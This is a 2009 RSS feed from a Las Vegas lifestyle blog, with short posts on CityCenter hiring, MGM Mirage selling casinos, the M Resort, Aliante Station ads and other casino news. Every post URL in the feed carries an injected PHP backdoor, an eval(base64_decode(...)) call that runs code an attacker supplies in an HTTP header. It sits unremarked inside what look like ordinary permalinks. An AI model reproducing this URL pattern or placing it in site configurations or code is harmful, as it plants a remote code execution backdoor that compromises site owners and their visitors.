Sin City Living » Casino News http://www.sincityliving.com Life in Las Vegas, Nevada Wed, 23 Dec 2009 16:26:35 +0000 http://wordpress.org/?v=2.9.1 en hourly 1 CityCenter Fills 12,000 Positions http://www.sincityliving.com/2009/09/21/citycenter-fills-12000-positions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.sincityliving.com/2009/09/21/citycenter-fills-12000-positions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 22 Sep 2009 04:21:21 +0000 admin http://www.sincityliving.com/?p=203 CityCenter Las Vegas
A very small percentage of the 160,000 people who applied for new positions at CityCenter got some good news starting today.

CityCenter expects to fill some of the positions with employees transferring from within the parent company (MGM Mirage). Of course, not all of the 12,000 positions can be transfers so this will create many new job opportunities. There will also be positions available when existing employees transfer out of their current MGM jobs.

The first phase of CityCenter is scheduled to open this December.

]]> http://www.sincityliving.com/2009/09/21/citycenter-fills-12000-positions/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Gloomy Las Vegas News http://www.sincityliving.com/2009/05/08/gloomy-las-vegas-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.sincityliving.com/2009/05/08/gloomy-las-vegas-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 08 May 2009 23:24:10 +0000 admin http://www.sincityliving.com/gloomy-las-vegas-news/162/ The Las Vegas Sun is full of bleak headlines:

Casino win on Strip down 12.2 percent in March

Fifteen-month slump continues

Las Vegas home sales soar

Driven by a whopping 40 percent reduction in prices, home sales soared in April in the Las Vegas area, the Greater Las Vegas Association of Realtors reported today.

]]> http://www.sincityliving.com/2009/05/08/gloomy-las-vegas-news/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 MGM Looking to Sell Casinos http://www.sincityliving.com/2009/04/05/mgm-looking-to-sell-casinos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.sincityliving.com/2009/04/05/mgm-looking-to-sell-casinos/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 06 Apr 2009 02:02:03 +0000 admin http://www.sincityliving.com/mgm-looking-to-sell-casinos/154/ It was reported over the weekend that MGM Mirage has engaged Morgan Stanley to help them shop some of their non-Vegas casino properties. The company is looking to sell some of it’s properties outside of Las Vegas to help fund CityCenter which has run into some budgetary issues.

I have heard people around town talking about Mandalay Bay potentially being up for sale as well. This is an attractive property and would fetch a hefty price tag should MGM decide to sell it.

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Treasure Island was sold to Phil Ruffin who was the former owner of the New Frontier. He purchased the property from MGM Mirage for $775 million with $600 million paid upfront in cash.

From the comments in the LVRJ article, employees, residents and industry-folk all see this as a good thing for Treasure Island.

]]> http://www.sincityliving.com/2009/03/19/child-drowning-deaths-in-las-vegas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 M Resort http://www.sincityliving.com/2009/03/02/m-resort/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.sincityliving.com/2009/03/02/m-resort/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 02 Mar 2009 18:00:53 +0000 admin http://www.sincityliving.com/m-resort/148/ M Resort Las Vegas

So we have established that I won’t be visiting Aliante Station but I probably will check on the M Resort. After all, it was “built by locals, for locals.” And the marketing was awesome: it made me want to go.

There were ads all over the place, they flew a blimp over the city and residents received all kinds of promotional materials in the mail (an invitation to join their rewards club, coupons for the restaurants and gaming vouchers). I am particularly excited about 32 Draft which will have a selection of 96 different beers.

]]> http://www.sincityliving.com/2009/03/02/m-resort/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Lame Aliante Station Ads http://www.sincityliving.com/2009/02/17/lame-aliante-station-ads/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.sincityliving.com/2009/02/17/lame-aliante-station-ads/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 17 Feb 2009 10:47:58 +0000 admin http://www.sincityliving.com/lame-aliante-station-ads/147/ Aliante Station Casino & Hotel
They are trying really hard to make Aliante Station seem like “the place to be”. Problem is the commercials airing on local television are cheesy and the people shown are not that attractive nor does the casino look that nice.

We locals have lots of choices as far as gaming goes. Opportunities abound (you can even play video poker at the supermarket — sadly, it seems many people do). The Strip is right in the middle of the city, local casinos are strategically located around town and there are always the taverns, burger places and pizza joints that all offer counter-top gaming alongside your meal.

So who wants to drive all the way to the far northern end of the city to visit Aliante Station?

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Many are speculating whether or not the company will be split up. They own the Stations casinos, Fiesta casinos, Red Rock, Green Valley Ranch and Alliante.

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In the past I made it a point to go visit the shiny new casinos when they opened but I have yet to see Encore.

]]> http://www.sincityliving.com/2009/01/28/too-late-for-encore/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 CityCenter Begins Hiring http://www.sincityliving.com/2009/01/16/citycenter-begins-hiring-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.sincityliving.com/2009/01/16/citycenter-begins-hiring-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 16 Jan 2009 20:21:30 +0000 admin http://www.sincityliving.com/citycenter-begins-hiring-2/143/ CityCenter Las Vegas
CityCenter is hiring! The company needs to fill 12,000 positions which represents the biggest single job opportunity ever in Las Vegas. ARIA Resort & Casino, Vdara Hotel & Spa and Crystals, Mandarin Oriental Las Vegas and The Harmon Hotel, Spa & Residences are all looking to fill all sorts of positions.

You can learn more online at the official CityCenter job website.

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So here are my impressions of the place: it looks like a hunting lodge but is built in a Disneylandeque kind of way; the ceilings are really low which makes it extra smokey; the dealers are indifferent and sometimes sullen; there’s a big aquarium by the front with manta rays in it; and a Bass Pro Shops is attached but I have never been inside (people who know me should not be surprised).

Now the Silverton has spent a bunch of money to increase the size of the gaming floor, added a steak house, a wine bar and a parking structure. “Luxury & Rustic All in one Place”. Woo-hoo.

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